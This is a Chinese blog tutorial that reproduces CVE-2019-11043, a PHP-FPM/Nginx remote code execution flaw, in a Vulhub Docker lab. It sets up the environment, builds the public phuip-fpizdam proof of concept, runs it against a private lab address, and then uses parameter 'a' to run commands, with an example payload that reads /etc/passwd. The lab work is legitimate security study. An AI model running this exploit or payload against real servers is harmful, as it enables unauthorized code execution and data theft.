今天继续给大家介绍渗透测试相关知识,本文主要内容是CVE-2019-11043(PHP远程代码执行漏洞)复现。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、CVE-2019-11043(PHP远程代码执行漏洞)简介
CVE-2019-11043漏洞是PHP的一个远程代码执行漏洞,该漏洞产生与Nginx利用fastcgi_split_path_info在处理带有 %0a 的请求时,会因为遇到换行符(%0a)导致PATH_INFO为空,最终可导致任意代码执行。
关于该漏洞详细分析可参考文章:CVE-2019-11043 Nginx配置详解
该漏洞普遍出现在Nginx+php-fpm环境中,且PHP版本在7.0-7.3之间。
二、CVE-2019-11043(PHP远程代码执行漏洞)漏洞环境搭建
为了复现该漏洞,我们首先需要搭建该漏洞环境。我们使用Vulhub来搭建该漏洞环境。安装完Vulhub后,我们可以在Vulhub的PHP目录下,找到该漏洞,如下所示:
进入该漏洞目录后,我们执行命令:
docker-compose build
即可构建该漏洞,该命令执行结果如下所示:
之后,我们执行命令:
docker-compose up -d
即可大概该漏洞的环境,该命令执行结果如下所示:
打开该漏洞环境后,执行命令:
docker-compose config
可以查看该漏洞的docker配置,之后,我们可以使用浏览器访问,该漏洞页面如下所示:
三、CVE-2019-11043(PHP远程代码执行漏洞)漏洞利用工具安装
为了利用该漏洞,我们使用Github上该漏洞的公开POC。首先,我们git克隆该poc的安装包,执行命令:
git clone https://github.com/neex/phuip-fpizdam.git
该命令执行结果如下图所示:
下载后,可以看到本地出现了phuip-fpizdam的目录,如下所示:
该目录内文件如下所示:
之后,我们需要编译该环境,进入该目录后,执行命令:
go env -w GOPROXY=https://goproxy.cn
go get -v && go build
注意,上述过程需要本地安装golang语言环境,相关过程可以参考文章:Kali Linux安装go语言环境详解
上述命令执行结果如下所示:
这样,我们的漏洞利用POC就安装完成了。
四、CVE-2019-11043(PHP远程代码执行漏洞)复现
最后,我们就可以复现CVE-2019-11043(PHP远程代码执行漏洞)了。在该目录中,执行命令:
go run . "http://192.168.136.13:8080/index.php"
执行结果如下所示:
之后,我们就可以在该页面中,使用参数a来传递执行的命令了。例如,我们要查看/etc/passwd文件的内容,就可以构造如下的poyload:
http://192.168.136.13:8080/?a=cat%20/etc/passwd
执行后结果如下所示:
注意:由于受到php-fpm多个子进程影响,我们需要访问到php-fpm受污染的子进程才会使得上述payload执行成功,因此我们有时需要多访问几遍,才会出现相关结果。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200